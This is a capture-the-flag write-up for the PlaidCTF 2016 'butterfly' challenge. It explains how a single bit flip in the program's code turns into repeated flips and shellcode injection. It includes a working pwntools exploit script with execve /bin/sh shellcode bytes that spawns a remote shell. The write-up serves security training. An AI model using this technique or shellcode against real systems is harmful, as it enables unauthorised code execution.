PlaidCTF 2016 butterfly

,

I like this problem, but this is a little easy.

problem

$ file butterfly
butterfly: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=daad8fa88bfeef757675864191b0b162f8977515, not stripped
$ nc butterfly.pwning.xxx 9999
THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?
33554432
WAS IT WORTH IT???

The program fgets a integer $p$ using strtol, then flips the $(p \bmod 8)$-th bit of the address $\lfloor p / 8 \rfloor$. The flipping is under mprotect, so you can flip even the .text section.

solution

At first, we can flip arbitrary $1$-bit. To enable to flip many bits, the first flipping is this:

from:
  400860:	48 83 c4 48          	add    rsp,0x48
to:
  400860:	48 83 c4 08          	add    rsp,0x8

This is an instruction to return from the main, so this let us ROP, and now we can flip as many bits as we like.

Next, send a shellcode onto .text section, using flipping. I wrote it here, and jump by making an error.

  40086b:	bf 42 09 40 00       	mov    edi,0x400942 # "mprotect1"
  400870:	e8 fb fd ff ff       	call   400670 <[email protected]>
  ...

implementation

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host')
parser.add_argument('port', type=int)
args = parser.parse_args()
context.log_level = 'debug'

p = remote(args.host, args.port)

main = 0x400788
def thy_cosmic_ray(ptr):
    p.recvline()
    payload = ''
    payload += str(ptr)
    payload += ' ' * (8 - len(payload))
    payload += 'BBBBBBBB' # rbx
    payload += 'CCCCCCCC' # r14
    payload += 'DDDDDDDD' # r15
    payload += 'EEEEEEEE' # rbp
    payload += p64(main)
    payload += '\n'
    log.info(repr(payload))
    p.send(payload)
    p.recvline()

thy_cosmic_ray(0x400863 * 8 + 6) # make `add rsp, 0x48' to `add rsp, 0x8'

# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

addr = 0x40086b
text = "\xbf\x42\x09\x40\x00\xe8\xfb\xfd\xff\xff\xeb\xd6\xbf\x4c\x09\x40\x00\xe8\xef\xfd\xff\xff\xeb\xca\xe8\x88\xfd\xff\xff\x0f\x1f\x84\x00\x00\x00\x00\x00"

for (i, (frm, to)) in enumerate(zip(text, shellcode)):
    for j in range(8):
        if (ord(frm) ^ ord(to)) & (1 << j):
            thy_cosmic_ray((addr + i) * 8 + j)

p.recvline()
p.sendline('foo') # jump to perror

time.sleep(1)
p.sendline('id')
p.interactive()